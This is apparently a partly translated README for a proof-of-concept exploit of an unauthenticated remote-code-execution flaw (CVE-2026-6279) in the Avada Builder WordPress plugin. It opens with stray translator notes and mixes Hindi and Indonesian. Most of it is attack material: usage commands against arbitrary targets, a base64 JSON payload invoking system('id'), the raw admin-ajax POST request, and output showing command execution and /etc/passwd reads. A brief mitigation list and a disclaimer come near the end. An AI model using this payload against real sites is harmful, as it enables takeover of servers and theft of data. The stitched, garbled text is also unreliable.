
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
ends after last line.
One nuance: In the first paragraph under Ringkasan Kerentanan, the original uses "plugin Avada Builder (Fusion Builder) versi <= 3.15.2" - we keep "plugin" as is? In Hindi, "प्लगइन" is acceptable. Also "tema WordPress Avada" -> "WordPress थीम Avada". I'll use "प्लगइन" and "थीम".
Also note the word "Kerentanan" at start of second paragraph: "Kerentanan Remote Code Execution (RCE) tanpa autentikasi" I already translated as "भेद्यता Remote Code Execution (RCE) बिना प्रमाणीकरण".
Check for any missed natural language in code blocks? No, code blocks preserved.
One more: The heading "### Semua Fungsi RCE Terkonfirmasi" -> "### सभी सत्यापित RCE फ़ंक्शन" - I used "सत्यापित" for "terkonfirmasi". Alternatively "पुष्टि किए गए". "सत्यापित" is fine.
Make sure to preserve the table alignment markers exactly as in original.
Also the "### Batasan call_user_func" translation.
Finally, ensure no markdown code fences around output.
Now produce final answer.
भेद्यता Remote Code Execution (RCE) बिना प्रमाणीकरण प्लगइन Avada Builder (Fusion Builder) संस्करण <= 3.15.2 में जो WordPress थीम Avada द्वारा उपयोग की जाती है — 900,000+ सक्रिय इंस्टॉलेशन वाले सबसे लोकप्रिय प्रीमियम WordPress थीम में से एक।
हमला AJAX हैंडलर wp_ajax_nopriv_fusion_get_widget_markup का शोषण करता है जो पैरामीटर render_logics को base64_decode() + json_decode() के माध्यम से प्रोसेस करता है और फिर इसे call_user_func() को बिना allowlist के भेजता है, जिससे मनमानी PHP फ़ंक्शन जैसे system(), passthru(), shell_exec(), exec(), और file_get_contents() को निष्पादित करना संभव होता है।
1. Nonce Deterministik wp_create_nonce('fusion_load_nonce') untuk UID 0
(terekspos di halaman depan dengan shortcode Avada)
2. AJAX Unauthenticated wp_ajax_nopriv_fusion_get_widget_markup
(tidak memerlukan login)
3. Deserialisasi base64_decode(render_logics) → json_decode()
(tidak ada validasi struktur)
4. call_user_func() call_user_func($value['function'], $value['args'])
(TANPA allowlist — fungsi PHP apapun bisa dipanggil)
5. RCE! system("id") → uid=... di response body
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Target : localhost:8888
Waktu : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Mendeteksi target...
[+] Avada terdeteksi! (http://localhost:8888)
[*] Mencari nonce fusion_load_nonce...
[+] Nonce ditemukan: b6d7b084c2 (sumber: homepage)
[*] Mengirim payload RCE...
[*] Mencoba 5 fungsi × 3 widget = 15 kombinasi
══════════════════════════════════════════════════════
[★] RCE BERHASIL!
Target : http://localhost:8888
Output : uid=1000(xenon1337)
Fungsi : system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Waktu : 1.2s
[✓] Hasil disimpan ke vuln.txt
══════════════════════════════════════════════════════
# बिना प्रोटोकॉल (स्वतः-पता लगाना)
python3 CVE-2026-6279.py target.com
# प्रोटोकॉल के साथ
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# पोर्ट के साथ
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 एन्कोडेड → POST के माध्यम से wp-admin/admin-ajax.php को render_logics के रूप में भेजा जाता है।
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] या [fusion_table_of_contents] होता हैcheck_ajax_referer('fusion_load_nonce') केवल यह सत्यापित करता है कि नॉन्स मान्य है, न कि यह कि उपयोगकर्ता प्रमाणित हैcall_user_func($function, $args) केवल 1 तर्क स्वीकार करता है। जिन फ़ंक्शनों को 2+ तर्कों की आवश्यकता होती है (जैसे proc_open, popen) उनका शोषण नहीं किया जा सकता। केवल एकल-तर्क वाले फ़ंक्शन काम करते हैं: system, passthru, shell_exec, exec, file_get_contents।
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
get_value() में call_user_func() पर allowlist जोड़ेंwp_ajax_nopriv_ हैंडलर को केवल प्रमाणित उपयोगकर्ताओं तक सीमित करेंrender_logics संरचना पर सख्त सत्यापन लागू करेंयह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए बनाया गया है। बिना अनुमति के सिस्टम पर इसका उपयोग अवैध है। लेखक दुरुपयोग के लिए जिम्मेदार नहीं है।
Copyright © 2026 XENON1337
विशेष धन्यवाद: Shadow Girlfriend 💜
| फ़ंक्शन | तर्क | परिणाम |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| फ़ाइल | पंक्ति | फ़ंक्शन |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — डीसीरियलाइज़ render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — बिना allowlist के call_user_func() |
fusion-widget.php | L44 | render_logics विशेषता |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX हैंडलर |
class-fusion-builder.php | L7551 | नॉन्स पंजीकरण (UID 0 के लिए नियतात्मक) |